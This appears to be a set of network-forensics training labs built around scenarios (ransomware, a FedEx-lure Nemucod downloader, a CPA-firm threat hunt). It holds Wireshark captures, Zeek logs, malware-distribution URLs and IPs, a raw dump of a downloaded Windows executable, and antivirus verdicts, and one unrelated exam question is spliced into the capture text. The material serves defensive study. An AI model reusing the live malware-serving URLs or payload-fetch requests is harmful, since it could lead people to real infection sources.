Visa	401288888881881		

43 client pkts, 43 server pkts, 81 turns.

Entire conversation (16 kB)

Show and save data as

ASCII

Stream

1

Find:

Filter Out This Stream

Print

Save as...


Back

Close

Help



Lab: Ransomware Infection



ransomware-lab.pcapng

Bob Emails the security team with the following Email: “I was trying to watch the World Cup on my lunch break, and now this message keeps popping up. I have work to do. Can you fix it?”

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:

Wireshark Analysis

No.	Time	Source	Destination	Server Name
339	6.179292	192.168.1.100	192.30.255.113	github.com
392	6.481901	192.168.1.100	151.101.52.133	assets-cdn.github.com
395	6.482523	192.168.1.100	151.101.52.133	assets-cdn.github.com
398	6.482858	192.168.1.100	151.101.52.133	assets-cdn.github.com
401	6.484358	192.168.1.100	151.101.52.133	assets-cdn.github.com
404	6.484626	192.168.1.100	151.101.52.133	assets-cdn.github.com
407	6.485546	192.168.1.100	151.101.52.133	assets-cdn.github.com
446	6.502786	192.168.1.100	151.101.52.133	assets-cdn.github.com
457	6.507142	192.168.1.100	151.101.52.133	assets-cdn.github.com
461	6.508920	192.168.1.100	151.101.52.133	avatars2.githubusercontent.com
468	6.512100	192.168.1.100	151.101.52.133	avatars3.githubusercontent.com
525	6.846945	192.168.1.100	54.165.141.38	collector.githubapp.com
555	7.055319	192.168.1.100	192.30.255.116	api.github.com
601	7.409636	192.168.1.100	172.217.0.46	www.google-analytics.com
734	10.741478	192.168.1.100	151.101.52.133	raw.githubusercontent.com
986	13.091025	192.168.1.100	172.217.164.110	sb-ssl.google.com
1783	19.515307	192.168.1.100	52.201.204.251	api.cylance.com
2498	26.185020	192.168.1.100	86.59.21.38	www.zo4w.com
2533	26.973889	192.168.1.100	193.11.114.43	www.pdqfq2fx7x4oioufpq5.com
3530	29.896967	192.168.1.100	46.101.100.94	www.xcmcd.com
3533	29.900482	192.168.1.100	81.7.14.31	www.mpya4aw.com
3538	29.912576	192.168.1.100	5.189.138.9	www.cwz46eca3756gza.com



Lab: Unknown Attack

Scenario



unknown-attack.pcap

- The CIO bolts into your office yelling “We’re being attacked by the Russians!” You calm her down and ask for the details. She gives you a USB drive with a single pcap. She wants details and won’t leave your desk until you tell her:
- Which systems (i.e. IP addresses) are involved in the incident?
- What can you find out about the attacking host (e.g. where is it located)?
- How long did it take to perform the attack?
- Which operating system was targeted by the attack? Which service? Which vulnerability?
- Was there malware involved? What’s the name of the malware? (OMG! Is it WanaCry?)
- Do you think this is a manual or an automated attack? Why?

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:



Lab: Malicious Traffic 1



2017-03-25-traffic-analysis-exercise.pcap

IR Scenario

Malicious Traffic 1

- You work as an analyst at a Security Operations Center (SOC) for Mike's Pharmaceuticals, a regional pharmaceutical conglomerate. You work the same shift as another analyst named Bob.
- Bob was tasked to investigate some suspicious traffic, but he came down with a case of the "Monday's" and left the work undone. He called in sick, and now you have to pick up where he left off. He only saved traffic for the affected IP address in a pcap file.
- The ticket description stated: Joe, a user in Accounting, claimed he received an Email about a FedEx delivery issue. After opening the Undelivered-Package.doc, his computer started acting unusual. IT would like confirmation that the machine is compromised.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:

```
user@RICHEY-MAY-LAP100:~/mnt/c/Labs/Malicious Traffic 1$ ls  
2017-03-25-traffic-analysis-exercise.pcap 'Malicious Traffic 1 Walkthrough.docx'  
user@RICHEY-MAY-LAP100:~/mnt/c/Labs/Malicious Traffic 1$ bro -r 2017-03-25-traffic-analysis-exercise.pcap  
user@RICHEY-MAY-LAP100:~/mnt/c/Labs/Malicious Traffic 1$ ls  
2017-03-25-traffic-analysis-exercise.pcap conn.log dns.log http.log pe.log weird.log  
'Malicious Traffic 1 Walkthrough.docx' dhcp.log files.log packet_filter.log ssl.log x509.log  
user@RICHEY-MAY-LAP100:~/mnt/c/Labs/Malicious Traffic 1$
```

user@**RICHEY-MAY-LAB**:~/.bro/Labs/Malicious Traffic 1\$ cat weird.log |
> bro-cut name id.orig_h id.orig_p id.resp_h id

bad_UDP_checksum	0.0.0.0	68	255.255.255.255
unknown_protocol_2	-	-	-
dns_unmatched_msg	192.168.22.94	49754	224.0.0.252
dns_unmatched_msg	192.168.22.94	50250	224.0.0.252
dns_unmatched_msg	192.168.22.94	64047	224.0.0.252
dns_unmatched_msg	192.168.22.94	52127	224.0.0.252
dns_unmatched_msg	192.168.22.94	51348	224.0.0.252
dns_unmatched_msg	192.168.22.94	49873	224.0.0.252
dns_unmatched_msg	192.168.22.94	50433	224.0.0.252
dns_unmatched_msg	192.168.22.94	50918	224.0.0.252
dns_unmatched_msg	192.168.22.94	51259	224.0.0.252
dns_unmatched_msg	192.168.22.94	137	192.168.22.255
dns_unmatched_msg	192.168.22.94	65178	224.0.0.252
dns_unmatched_msg	192.168.22.94	56137	224.0.0.252
dns_unmatched_msg	192.168.22.1	5353	224.0.0.251
bad_HTTP_request	192.168.22.94	49230	52.50.59.31
line_terminated_with_single_CR	192.168.22.94	49230	52.50.59.31
bad_HTTP_request	192.168.22.94	49283	180.211.86.138
bad_HTTP_request	192.168.22.94	49527	77.225.141.195
bad_HTTP_request	192.168.22.94	49668	45.192.88.245
bad_HTTP_request	192.168.22.94	49761	185.45.67.109
bad_HTTP_request	192.168.22.94	50025	14.152.86.33
bad_HTTP_request	192.168.22.94	50396	104.72.203.203
line_terminated_with_single_CR	192.168.22.94	50396	104.72.203.203



http.request

Expression...

No.	Time	Source	Destination	Protocol	Length	Info
66	10.701587	192.168.22.94	23.215.98.249	HTTP	151	GET /ncsi.txt HTTP/1.1
96	62.831266	192.168.22.94	50.62.238.1	HTTP	523	GET /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwghk2xY5rpvyqa6RhRlo6U7zbno7DD
104	63.078127	192.168.22.94	184.168.187.1	HTTP	523	GET /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwghk2xY5rpvyqa6RhRlo6U7zbno7DD
115	64.742775	192.168.22.94	97.74.144.145	HTTP	521	GET /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwghk2xY5rpvyqa6RhRlo6U7zbno7DD
149	65.445818	192.168.22.94	50.63.125.1	HTTP	519	GET /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwghk2xY5rpvyqa6RhRlo6U7zbno7DD
560	65.807872	192.168.22.94	50.63.125.1	HTTP	519	GET /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwghk2xY5rpvyqa6RhRlo6U7zbno7DD
617	65.949091	192.168.22.94	50.63.125.1	HTTP	519	GET /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwghk2xY5rpvyqa6RhRlo6U7zbno7DD
2069	66.518661	192.168.22.94	50.63.125.1	HTTP	519	GET /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwghk2xY5rpvyqa6RhRlo6U7zbno7DD
2156	119.2924...	192.168.22.94	52.50.59.31	HTTP	835	POST / HTTP/1.1 (application/x-www-form-urlencoded)
2181	120.1617...	192.168.22.94	178.255.83.2	HTTP	193	GET /COMODORSAAAddTrustCA.crt HTTP/1.1
2194	120.3454...	192.168.22.94	23.215.99.40	HTTP	268	GET /msdownload/update/v3/static/trustedr/en/02FAF3E291435468607857694DF5E45B

Request: Boolean

Packets: 9443 · Displayed: 76 (0.8%)

Profile: Default

```
user@richey-may-lab:~/Labs/Malicious Traffic 1$ cat http.log | bro-cut id.orig_h id.resp_h method host uri
192.168.22.94 23.215.98.249 GET www.msftncsi.com /ncsi.txt
192.168.22.94 50.62.238.1 GET bv.truecompassdesigns.net /counter/?0000001MKqMAdoTwsD8bMbwxfg2zH
jraZnwghk2xY5rpyqa6RhRlo6U7zbno7DD8M0P17pZrl1NTv383v8Y7CIMAtzGZPifYdnKvrwmi9Mm8G_W0bGLe74JD74zik2n-N_qCHLo9TFUX
HSRbMG1d
192.168.22.94 184.168.187.1 GET grandrapidsnonprofits.com /counter/?0000001MKqMAdoTwsD8bMbwxfg2zH
jraZnwghk2xY5rpyqa6RhRlo6U7zbno7DD8M0P17pZrl1NTv383v8Y7CIMAtzGZPifYdnKvrwmi9Mm8G_W0bGLe74JD74zik2n-N_qCHLo9TFUX
HSRbMG1d
192.168.22.94 97.74.144.145 GET suburban-sanitation.com /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwgh
k2xY5rpyqa6RhRlo6U7zbno7DD8M0P17pZrl1NTv383v8Y7CIMAtzGZPifYdnKvrwmi9Mm8G_W0bGLe74JD74zik2n-N_qCHLo9TFUXHSRbMG1d
192.168.22.94 50.63.125.1 GET nailcountryandtan.com /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwgh
k2xY5rpyqa6RhRlo6U7zbno7DD8M0P17pZrl1NTv383v8Y7CIMAtzGZPifYdnKvrwmi9Mm8G_W0bGLe74JD74zik2n-N_qCHLo9TFUXHSRbMG12
192.168.22.94 50.63.125.1 GET nailcountryandtan.com /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwgh
k2xY5rpyqa6RhRlo6U7zbno7DD8M0P17pZrl1NTv383v8Y7CIMAtzGZPifYdnKvrwmi9Mm8G_W0bGLe74JD74zik2n-N_qCHLo9TFUXHSRbMG13
192.168.22.94 50.63.125.1 GET nailcountryandtan.com /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwgh
k2xY5rpyqa6RhRlo6U7zbno7DD8M0P17pZrl1NTv383v8Y7CIMAtzGZPifYdnKvrwmi9Mm8G_W0bGLe74JD74zik2n-N_qCHLo9TFUXHSRbMG14
192.168.22.94 50.63.125.1 GET nailcountryandtan.com /counter/?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwgh
k2xY5rpyqa6RhRlo6U7zbno7DD8M0P17pZrl1NTv383v8Y7CIMAtzGZPifYdnKvrwmi9Mm8G_W0bGLe74JD74zik2n-N_qCHLo9TFUXHSRbMG15
```

Wireshark · Follow TCP Stream (tcp.stream eq 1) · 2017-03-25-traffic-analysis-exercise.pcap

```
GET /counter/?0000001MKqMAdoTwsD8bMbWxfg2zHjraZnwghk2xY5rpyqa6RhRlo6U7zbno7DD8M0P17pZrl1NTv383v8Y7CIMAtzGZPifYdnKvrwmI9Mm8G_W0bGLe74JD74zik2n-N_qCHLo9TFUXHSrbMGld HTTP/1.1
Accept: /*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: bv.truecompassdesigns.net
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Tue, 21 Mar 2017 15:49:22 GMT
Server: Apache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 141
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

.....%.
.0.E.~.|.8..D ..7"..4.@..$LG..oCw...p..@.1.>:. H$.Ag.....+....)'....h....y.7....}....J.x9b]..U.....S)Cd..SQ..B.z....Z.....
```

```
GET /counter/?0000001MKqMAdoTwsD8bMbxFg2zHjraZnwghk2xY5rpyqa6RhRlo6U7zbno7DD8M0Pl7pZrl1NTv383v8Y7CIMAtzGZPifYdnKvrwmi9Mm8G_W0bGLe74JD74zik2n-N_qCHLo9TFUXHSrbMG12 HTTP/1.1
Accept: /*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: nailcountryandtan.com
Connection: Keep-Alive
```

HTTP/1.1 200 OK

Date: Tue, 21 M

Server: Apache

Content-Disposition: attachment; filename=a.pr

Content-Length: 384294

Cache-Control: max-age=518400

Expires: Sat, 20 May 2017 15:49:25 GM

Keep-Alive: timeout=5, max=10

Connection: Keep-Alive

Content-Type: image/png

10. The following table shows the number of hours worked by 1000 employees in a company.

MZ.....

...L...This program cannot be run in DOS mode

```
$.....PE..L.....j;.....0.....3.....@.....@.....>.....text.....0.....$.....`P`....data.....L.....@.....N.....  
.....n.....@.....rdta...t.....v.....0@.bss.....0..p.....V.....@.0..idata.....V.....@.0..CRT.....6.....f.....@.....  
0..tls.....h.....@.0..rsrc.....n.....p..j.....@.....CL_COLOR_CONTRAST...CL_COLOR_R  
0@.....  
ED_COMPONENT..CL_COLOR.....ieLibrary.DownloadFile.....PLAYBACK_LOCATION_wChapterNum.....R..  
.....<o.....DR_IS_PROTECTED_CONTENT.BDROM_BKDR_SET_DUMMY_WI.....Back : Vol = %d....Callback - PyM.....  
{.....{.....o.t.....B.D.J..c.o.n.t.e.n.t.....[.B.D.P.y.D.V.D.....(value)  
failed...PyL.....a CreateWindowExW...RegisterClassExW.....wvsprint.....r.o.u.n.d(.).....[PyDVDEngine] m_pImmapi-  
>Vid.....AG_Resume.UOP_FLAG_ShowMenu_Chapter...UOP_FLA.....oStream.CCLDVDEngine_GetAud.....D.I.S.C. .A.V.C.H.D.....  
P...P.,P..  
8P..BP..LP..VP..dP...T...T...T..zP.....D_DEVICE..BDROM_BKDR_GET_CURRENT.....SetPIPPGtextSTStreamState..CCLDVDEngine.....gine_JumpToChapter..CCLDVDEngine_GetChapterName  
.....urrentProcessId...GetSystemTimeAs.....00:CCLDVDEngine_IsMPEGHD.....00:CCLDVDEngine_IsW.....b.e.r.l.i.n.k.\.k.o.a.n...t.r.a.c.....y.....p.....  
.....Count.....00:CCLDVDEngi.....T.h.i.r.d.p.a.r.t.y.C.o.d.e.....].....f..rY..dY..XY..LY.....  
$^...^.....`....`.....Subtitle.CCLDVDEngine_IsSubtitleEnabled..CCLDVDEngin.....rocessPyBDUOPCmd...0:CCLDVDEngine.....DVDAUD_UOP_2....DVDAUD_UOP_1....DVDAUD_UOP_0.....  
.....y...y...y...y...y...h..r.....variables>.. }  
. ..%s..Global variables {  
.....ne_IsAnalyzed.CCLDVDEngine_GetEmptyList.....CONDARY_VIDEO_ATTR_dwAspectRat.....DD_ACAP_STEREO..BDROMDEF_DDLOSSLESS_D  
D_ACAP_RESERV.....A.....%.....d..m..w.....HybridDiskTypeToDVD..  
[BDPy.....riable..thisown.Expe....loc....fprintf....sprintf....memset....MSVCR71.dll.....sprintfA.USER32.dll.....RegCloseKey....RegQueryValu.....e.L.i.b.r.a.r.y.].  
I.s.R.e.s.u.m.a.b.l.e.(.%s....._dwTBSpeakerSize_set...AUSRSPROPER.....P..E.Y.....d.....j.h..A.Pd%.....V.t  
$.F...Wt.;.B.A.....A ..t..L$.Q.H.....A.....V.t$...t..D$.Pht.A..nl...F ..L$.j.Q.L$.3.*s.....u.3.^.....T$..L$.R.L....
```

```
user@[REDACTED]/Labs/Malicious Traffic 1$ cat dns.log | bro-cut query ansers | sort -u
ISATAP
WPAD
_ipp._tcp.local
_webdav._tcp.local
bv.truecompassdesigns.net
cacerts.digicert.com
crt.comodoca.com
dns.msftncsi.com
fpdownload.macromedia.com
grandrapidsnonprofits.com
isatap
microsoft.com
nailcountryandtan.com
pollerman-pc
suburban-sanitation.com
teredo.ipv6.microsoft.com
wpad
www.download.windowsupdate.com
www.microsoft.com
www.msftncsi.com
www.street-crime.com
```

Google the Domain Names

[Home](#)[Submissions](#)[Resources](#)[Jobs](#)[Contact](#) Search ...

<http://bv.truecompassdesigns.net/> 

malicious

Threat Score: 33/100

AV Detection: 6%

[Link](#) [Twitter](#) [E-Mail](#)

Analyzed on April 1st 2017 03:48:39 (CEST) running the *Kernelmode* monitor and action script *Default browser analysis*

Guest System: Windows 7 32 bit, Home Premium, 6.1 (build 7601), Service Pack 1

Report generated by Falcon Sandbox v6.20 © Hybrid Analysis


[Overview](#) [Downloads](#) [External Reports](#) [Re-analyze](#) [Hash Not Seen Before](#) [Report Abuse](#)

Incident Response

 Risk Assessment

Network Behavior Contacts 2 domains and 2 hosts. View the [network section](#) for more details.

Packet	Hostname	Content Type	Size	Filename
68	www.msftncsi.com	text/plain	14 bytes	ncsi.txt
98	bv.truecompassdesigns.net	text/html	140 bytes	?0000001MKqMAdoTwsD8bMbwXfg2zHjraZnwghk2xY5rpyqa6F
108	grandrapidsnonprofits.com	text/html	7886 bytes	?0000001MKqMAdoTwsD8bMbwXfg2zHjraZnwghk2xY5rpyqa6F
142	suburban-sanitation.com	text/javascript	27 kB	?0000001MKqMAdoTwsD8bMbwXfg2zHjraZnwghk2xY5rpyqa6F
558	nailcountryandtan.com	image/png	384 kB	?0000001MKqMAdoTwsD8bMbwXfg2zHjraZnwghk2xY5rpyqa6F
616	nailcountryandtan.com	image/png	45 kB	?0000001MKqMAdoTwsD8bMbwXfg2zHjraZnwghk2xY5rpyqa6F
2067	nailcountryandtan.com	image/png	1417 kB	?0000001MKqMAdoTwsD8bMbwXfg2zHjraZnwghk2xY5rpyqa6F
2071	nailcountryandtan.com	image/png	2297 bytes	?0000001MKqMAdoTwsD8bMbwXfq2zHjraZnwqhk2xY5rpyqa6F
2156	52.50.59.31	application/x-www-form-urlencoded	476 bytes	\
2158	52.50.59.31	text/html	185 bytes	\
2184	crt.comodoca.com	application/x-x509-ca-cert	1400 bytes	COMODORSAAddTrustCA.crt
2196	www.download.windowsupdate.com	application/x-x509-ca-cert	1082 bytes	02FAF3E291435468607857694DF5E45B68851868.crt
2514	52.50.59.31	application/x-www-form-urlencoded	440 bytes	\
2517	52.50.59.31	text/html	185 bytes	\
2582			114 bytes	
2589	77.225.141.195	application/x-www-form-urlencoded	436 bytes	\
2628	www.download.windowsupdate.com	application/x-x509-ca-cert	993 bytes	B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E.crt
2738	cacerts.digicert.com	application/x-x509-ca-cert	1176 bytes	DigiCertSHA2SecureServerCA.crt
2911	52.50.59.31	application/x-www-form-urlencoded	464 bytes	\
2913	52.50.59.31	text/html	185 bytes	\
2981	77.225.141.195	application/x-www-form-urlencoded	464 bytes	\
3333	52.50.59.31	application/x-www-form-urlencoded	468 bytes	\
3336	52.50.59.31	text/html	185 bytes	\
3362	14.152.86.33	application/x-www-form-urlencoded	500 bytes	\
3378	14.152.86.33	text/html	571 bytes	\
3414	77.225.141.195	application/x-www-form-urlencoded	444 bytes	\
3779	52.50.59.31	application/x-www-form-urlencoded	488 bytes	\
3782	52.50.59.31	text/html	185 bytes	\
3786	14.152.86.33	application/x-www-form-urlencoded	512 bytes	\
3797	14.152.86.33	text/html	571 bytes	\
3814	14.152.86.33	text/html	571 bytes	\
3853	77.225.141.195	application/x-www-form-urlencoded	432 bytes	\
4007	60.169.77.199	application/x-www-form-urlencoded	440 bytes	\
4170	14.152.86.33	application/x-www-form-urlencoded	488 bytes	\
4174	52.50.59.31	application/x-www-form-urlencoded	500 bytes	\
4177	52.50.59.31	text/html	185 bytes	\



```
sample.js          6/22/2018 4:58 PM   JavaScript File    28 KB
PS C:\Users\...      Labs> Get-FileHash .\sample.js
Algorithm      Hash           Path
-----
SHA256        F833909504AD1A3AB64A99EE5AD443E945E67B7EAFAADAA0853536FC4682D325  C:\Users\...\sample.js
```

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TXT
10 engines detected this file
⋮

SHA-256	f833909504ad1a3ab64a99ee5ad443e945e67b7eafaadaa0853536fc4682d325
File name	?0000001MKqMAdoTwsD8bMbwxfg2zHjraZnwghk2xY5rpyqa6RhRlo6U7zbno7DD8M0Pl7pZrlINTv383v8Y7CIMAtzGZPifYdnKv...
File size	27.17 KB
Last analysis	2017-08-01 08:11:22 UTC

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Detection	Details	Community
AegisLab	⚠️ Troj.Malscript.Gen!c	Avast
AVG	⚠️ Other:Malware-gen [Trj]	Cyren
F-Prot	⚠️ JS/Downldr.HS!Eldorado	Ikarus
McAfee	⚠️ JS/Nemucod.rm	McAfee-GW-Edition
Symantec	⚠️ Trojan.Malscript	TrendMicro-HouseCall
Ad-Aware	✅ Clean	AhnLab-V3
ALYac	✅ Clean	Antiy- AVL
Arcabit	✅ Clean	Avira
AVware	✅ Clean	Baidu

Find The Compromised Machine

2017-03-25-traffic-analysis-exercise.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter ... <Ctrl-/> Expression... +

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	0.0.0.0	255.255.255.255	DHCP	356	DHCP Request - Transaction ID 0x34a9b543
2	0.000989	192.168.22.1	192.168.22.94	DHCP	351	DHCP ACK - Transaction ID 0x34a9b543
3	4.999339	0.0.0.0	255.255.255.255	DHCP	356	DHCP Request - Transaction ID 0x34a9b543
4	5.000648	192.168.22.1	192.168.22.94	DHCP	351	DHCP ACK - Transaction ID 0x34a9b543
5	5.003816	192.168.22.94	224.0.0.252	LLMNR	66	Standard query 0xa47c A isatap
6	5.005416	192.168.22.94	224.0.0.22	IGMP...	60	Membership Report / Leave group 224.0.0.252
7	5.008006	192.168.22.94	224.0.0.22	IGMP...	60	Membership Report / Join group 224.0.0.252 for any sources
8	5.008636	192.168.22.94	224.0.0.252	LLMNR	72	Standard query 0x1ada ANY pollerman-PC
9	5.037277	192.168.22.94	224.0.0.22	IGMP...	60	Membership Report / Join group 224.0.0.252 for any sources
10	5.077892	192.168.22.94	192.168.22.255	NBNS	110	Registration NB POLLERMAN-PC<00>
11	5.077925	192.168.22.94	192.168.22.255	NBNS	110	Registration NB WORKGROUP<00>

> Frame 1: 356 bytes on wire (2848 bits), 356 bytes captured (2848 bits)
> Ethernet II, Src: 00:1e:c9:c3:3a:1b, Dst: ff:ff:ff:ff:ff:ff
> Destination: ff:ff:ff:ff:ff:ff
> Source: 00:1e:c9:c3:3a:1b
> Type: IPv4 (0x0800)
> Internet Protocol Version 4, Src: 0.0.0.0, Dst: 255.255.255.255
> User Datagram Protocol, Src Port: 68, Dst Port: 67
> Bootstrap Protocol (Request)



Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	0.0.0.0	255.255.255.255	DHCP	356	DHCP Request - Transaction ID 0x34a9b543
2	0.000989	192.168.22.1	192.168.22.94	DHCP	351	DHCP ACK - Transaction ID 0x34a9b543
3	4.999339	0.0.0.0	255.255.255.255	DHCP	356	DHCP Request - Transaction ID 0x34a9b543
4	5.000648	192.168.22.1	192.168.22.94	DHCP	351	DHCP ACK - Transaction ID 0x34a9b543
5	5.003816	192.168.22.94	224.0.0.252	LLMNR	66	Standard query 0xa47c A isatap
6	5.005416	192.168.22.94	224.0.0.22	IGMP...	60	Membership Report / Leave group 224.0.0.252
7	5.008006	192.168.22.94	224.0.0.22	IGMP...	60	Membership Report / Join group 224.0.0.252 for any sources
8	5.008636	192.168.22.94	224.0.0.252	LLMNR	72	Standard query 0x1ada ANY pollerman-PC
9	5.037277	192.168.22.94	224.0.0.22	IGMP...	60	Membership Report / Join group 224.0.0.252 for any sources
10	5.077892	192.168.22.94	192.168.22.255	NBNS	110	Registration NB POLLERMAN-PC<00>
11	5.077925	192.168.22.94	192.168.22.255	NBNS	110	Registration NB WORKGROUP<00>

- > Option: (54) DHCP Server Identifier
- > Option: (51) IP Address Lease Time
- > Option: (58) Renewal Time Value
- > Option: (59) Rebinding Time Value
- > Option: (1) Subnet Mask
- > Option: (28) Broadcast Address
- > Option: (6) Domain Name Server
- > Option: (81) Client Fully Qualified Domain Name
 - Length: 15
- > Flags: 0x03, Server overrides, Server A-RR result: 255
 - PTR-RR result: 255
 - client name: pollerman-PC
- > Option: (3) Router
- > Option: (255) End

192.168.22.94

50.62.238.1


184.168.187.1

97.74.144.145

50.63.125.1

52.50.59.31

14.152





Lab: CPA Threat Hunting



CPA-Firm-Threat-Hunting-P1.pcapng




CPA-Firm-Threat-Hunting-P2.pcapng

Threat Hunting Scenario

You just got a job at Wylie & Wylie Co. LP, the leading edge CPA firm in Los Angeles, California as a junior threat hunter. You place a switchport into SPAN, tapping traffic between the tax preparation software sitting on an application server and any client communication looking for indicators of compromise. The Wireshark captures gets split into two files due to the amount of traffic collected.

Incident Report Guidelines

- **EXECUTIVE SUMMARY:**
 - Timeline of the activity
 - Who was involved
 - Summary of what happened
- **DETAILS:**
 - Date and time of the activities:
 - MAC, IP, and Hostname of affected system(s):
 - What happened:
- **INDICATORS:**
 - List the IP addresses, ports, and domains associated with the activity:




Packet	Hostname	Content Type	Size	Filename
62	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (39779/39779) R [100.00%]	39 kB	\SETUP17\\Setup.XML
79	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (40032/40032) R [100.00%]	40 kB	\SETUP17\\Catalog.XML
102	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (715/715) R [100.00%]	715 bytes	\OPTION17\\PREPAR.W7
106	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (8447/8447) R [100.00%]	8447 bytes	\OPTION17\\PREP.17
110	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (514/514) R [100.00%]	514 bytes	\OPTION17\\Firms.W7
114	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (66/66) R [100.00%]	66 bytes	\OPTION17\\OPINDEX.W7
120	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (10/10) R [100.00%]	10 bytes	\OPTION17\\CFG001.W7
142	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (6136/6136) R [100.00%]	6136 bytes	\OPTION17\\PROFXO.P7
155	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (6136/6136) W [100.00%]	6136 bytes	\OPTION17\\PROFXO.P7
188	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (62833/62833) R [100.00%]	62 kB	\OPTION17\\opt001.w7
196	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (33/66) W [50.00%]	66 bytes	\OPTION17\\OPINDEX.W7
207	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (40/40) R [100.00%]	40 bytes	\OPTION17\\RIGHTS.IW7
215	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (40/40) R [100.00%]	40 bytes	\OPTION17\\RIGHTS.GW7
243	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (7/7) R [100.00%]	7 bytes	\idata\\DDRIDI17.DAT
275	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (20/20) R [100.00%]	20 bytes	\OPTION17\\LastEFUp.W7
419	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (62894/62894) R [100.00%]	62 kB	\OPTION17\\OPMASTER.w7
442	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (514/514) R [100.00%]	514 bytes	\OPTION17\\APTG7.DBF
454	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (10240/10240) R [100.00%]	10 kB	\OPTION17\\APTG7.MDX
466	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (290/290) R [100.00%]	290 bytes	\OPTION17\\RECURRG7.DBF
478	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (4096/4096) R [100.00%]	4096 bytes	\OPTION17\\RECURRG7.MDX
489	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (6136/6136) W [100.00%]	6136 bytes	\OPTION17\\PROFXO.P7
491	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (34/34) W [100.00%]	34 bytes	\OPTION17\\urn\\User001.LW7
492	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (34/34) W [100.00%]	34 bytes	\idata\\urn\\User001.LW7
510	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (4101/4101) R&W [100.00%]	4101 bytes	\OPTION17\\ProfLog.P7
556	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (221043/221043) R [100.00%]	221 kB	\OPTION17\\DiagInfo.xml
601	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (2117/2117) R [100.00%]	2117 bytes	\OPTION17\\PRPFHI17.DBF
631	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (14430/14430) R [100.00%]	14 kB	\SETUP17\\PkgInfo.17
643	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (3026/3026) R [100.00%]	3026 bytes	\OPTION17\\USFORMS.IW7
657	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (66/66) R [100.00%]	66 bytes	\OPTION17\\DontASk.w7
685	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (282/282) R [100.00%]	282 bytes	\OPTION17\\WTaxDBValidatorConfig.ini
686	\\"10.10.10.152\\TREEID_UNKNOWN	FILE (110/110) R [100.00%]	110 bytes	\OPTION17\\AUP.W7

Wireshark · Follow TCP Stream (tcp.stream eq 0) · CPA-Firm-Threat-Hunting-P1.pcapng

```
.....T.SMB@.....  
0.....>.....9.....`.@x.".....S.E.T  
.U.P.1.7.\.S.e.t.u.p..X.M.L.....8.....DH2Q.....  
?..C .....MxAc.....QFid.....4...RqLs.....  
0DV$.....+$.....`..SMB@.....  
1.....>.....Y.....j."....j."...f.j.".....".....c.....  
.....}.....MxAc.....P.....4...RqLs.....  
0DV$.....+$.....DH2Q.....  

```

